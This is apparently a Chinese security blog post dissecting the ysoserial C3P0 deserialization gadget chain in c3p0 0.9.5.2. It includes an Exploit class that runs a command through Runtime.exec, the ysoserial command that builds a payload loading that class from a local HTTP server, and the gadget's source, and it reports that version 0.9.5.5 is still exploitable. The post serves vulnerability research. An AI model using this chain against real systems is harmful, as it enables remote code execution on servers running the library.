C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
//pom.xml
<!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
public class Exploit { public Exploit(){ try { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } catch (Exception e) { } } }
java -jar ysoserial-master-55f1e7c35c-1.jar C3P0 "http://127.0.0.1:8888/:Exploit" > test.txt
python -m SimpleHTTPServer 8888
public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); } String url = command.substring(0, sep); String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; }
这里简单分享一个 ysoserial 本身的调试,知道的师傅可以略过了,debug的时候在 Program arguments 增加相关参数。
然后在 ysoserial.GeneratePayload 选择debug启动,并且在C3P0处下一个断点,自然就进来了。
首先通过 Reflections.createWithoutConstructor 构造了无参数对象,可以看到这里面只有类名,其他啥都没。
然后将对象的 connectionPoolDataSource 设置为了我们需要的 C3P0 的内部 PoolSource 对象。
但是我们都知道反序列化漏洞肯定是需要序列化生成对象,所以会和 writeObject 有关系,进入到 PoolBackedDataSourceBase ,这里首先尝试进行序列化。但是回头看看我们的开头的 PoolSource 类的定义,没有继承 Serializable 接口,所以他没办法进行序列化。根据下图中的代码逻辑,当无法进行序列化的时候,自然进入到是第三个红框中的获取 reference 。这里代码中有个 this.connectionPoolDataSource 对象,这也是为什么最开始定义 PoolSource 类的时候需要同时实现 ConnectionPoolDataSource 和 Referenceable 。
而在 ReferenceIndirector 这个类中,对象 Reference 会被 ReferenceSerialized 包装后写入到数据字节流中。
上面就是 payload 生成过程中利用链,既然是序列化生成,那么反序列化的时候自然会针对对象进行读取。在 PoolBackedDataSourceBase 中会进行readobject方法读取序列化对象中的 ReferenceSerialized 对象。
然后会调用 ReferenceIndirector#getObject 方法,读取刚刚写入的恶意类 Exploit 。
最后return时候经过 ReferenceableUtils.referenceToObject 处理,在 referenceToObject 看到了最终的触发点。通过刚刚传入的URL地址,加载了我们的恶意类 Exploit ,并且调用无参构造函数进行实例化,最后完成整个过程。
序列化过程:
反序列化过程:
其实不能说是漏洞,应该说是利用链缓解,本以为 ysoserial 这个组件中说的 c3p0:0.9.5.2
那么下一个版本可能会有缓解措施,但是现实却是十分的骨感,我在这个地方,看到当前最高版本是0.9.5.5更新时间是2019/12
实际测试下来,依然能够使用
这个利用链还是挺有趣的,有点像JDNI注入,通过获取工厂对象,重新构造ConnectionPoolDataSource,利用反序列化一步步达到自己的目的。